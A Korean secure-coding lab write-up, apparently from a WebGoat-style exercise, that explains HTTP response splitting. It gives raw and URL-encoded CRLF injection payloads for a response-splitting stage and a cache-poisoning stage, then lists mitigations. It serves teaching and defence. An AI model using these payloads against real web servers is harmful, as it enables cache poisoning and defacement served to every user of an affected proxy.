2.HTTP Splitting

CODEDRAGON Security/SecureCoding

반응형

   

HTTP Splitting

  • 사용자의 입력값을 검증하지 않아 발생할 수 있는 취약점으로 사용자가 입력값 이외에 CR & LF를 추가해서 서버의 응답에 다른 응답형태를 추가하게 됩니다.

   

구분

의미

윈도우

UNIX/LINUX

CR(%0d)

커서의 위치를 줄의 맨 처음 자리로 옮기라는 의미

사용

미사용

LF(%0a)

커서를 다음 줄로 넘기라는 의미

사용

사용

  • 윈도우에서는 한 라인을 넘기기 위해 CR, LF를 같이 사용하지만 UNIX/LINUX에서는 LF만 사용합니다.
  • CR/LF문들을 이용하여 임의의 제약사항들을 우회하여 서버에서 다른 페이지를 불러 올 수 도 있고 임의의 포트로 명령을 보낼 수 도 있습니다.

   

  • 서버가 CR(%0d) 와 LF(%0a)을 체크하지 않는다는 것은 공격자가 헤더와 본문을 제어할 수 있다는 것을 의미합니다. 즉, 공격자가 임의적으로 추가적인 응답을 생성할 수 있게 됩니다.

   

  • HTTP Response Splitting 공격은 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 응답 메시지를 조작하여 Proxy서버를 공격자의 의도대로 조작할 수 있는 공격 방식입니다.
  • HTTP Request를 보냈을 때 서버의 응답인 HTTP response의 내용을 인위적으로 조작해 특정 값을 입력 했을 때 정상적인 응답 값을 두 개 이상 받아올 수 있게 됩니다. 그러면 공격받은 Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 됩니다.

   

   

   

LAB 수행

   

   

Stage1:Response Splitting Attack

추가적인 응답을 하나 더 넣어서 서버에게 전달하기 위해 아래의 응답 문장을 encoding하여 서버에 전달합니다.

   

en

Content-Length:0

 

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 31

<html>Hacked by CodeDragon</html>

   

http://yehg.net/encoding/ 접속

위의 문장을 copy후 paste >

encodeURIComponent 클릭

   

   

-----Text FX ------ 드롭다운 항목의 Convert 항목의 from %0A to %0D%0A 선택

   

en%0D%0AContent-Length%3A0%0D%0A%20%20%20%20%20%20%20%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2031%0D%0A%0D%0A%3Chtml%3EHacked%20by%20CodeDragon%3C%2Fhtml%3E

   

Search by country:입력창에 붙여넣기 후 Search

   

   

   

   

Stage2: CACHE POSITIONING ATTACK

   

en

Content-Length:0

 

HTTP/1.1 200 OK

Content-Type: text/html

Last-Modified: Mon, 27 Oct 2090 14:50:18 GMT

Content-Length: 31

<html>Hacked by CodeDragon</html>

   

   

encodeURIComponent >

-----Text FX ------ 드롭다운 항목의 Convert 항목의 from %0A to %0D%0A 선택

   

en%0D%0AContent-Length%3A0%0D%0A%20%20%20%20%20%20%20%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202090%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2031%0D%0A%0D%0A%3Chtml%3EHacked%20by%20CodeDragon%3C%2Fhtml%3E

   

LAB 성공!!!

encoding된 문장을 추가한 후 Search

   

   

   

   

고찰

  • 공격자가 임의로 집어넣은 HTTP 헤더값에서 CRLF를 제대로 제거하지 않으면, 공격자가 그이후에 출력되는 본문에 대한 제어권한을 얻게되고, 그결과 응답을 둘 또는 그이상으로 분리해 버리는 결과를 만들게 됩니다.
  • 일반적으로 Location 이나 set-cookie 와 같은 HTTP헤더를 사용할때 이런 취약점을만들기 쉬운데, 값을 넣기전에 반드시 URL인코딩을 해주어야 합니다. 그외에도 ID를조합해서 URL을 만들때 정수형으로 무조건 캐스팅한다든지 철저하게 정규표현식을사용해서 점검한다든지하는 방법이 있습니다.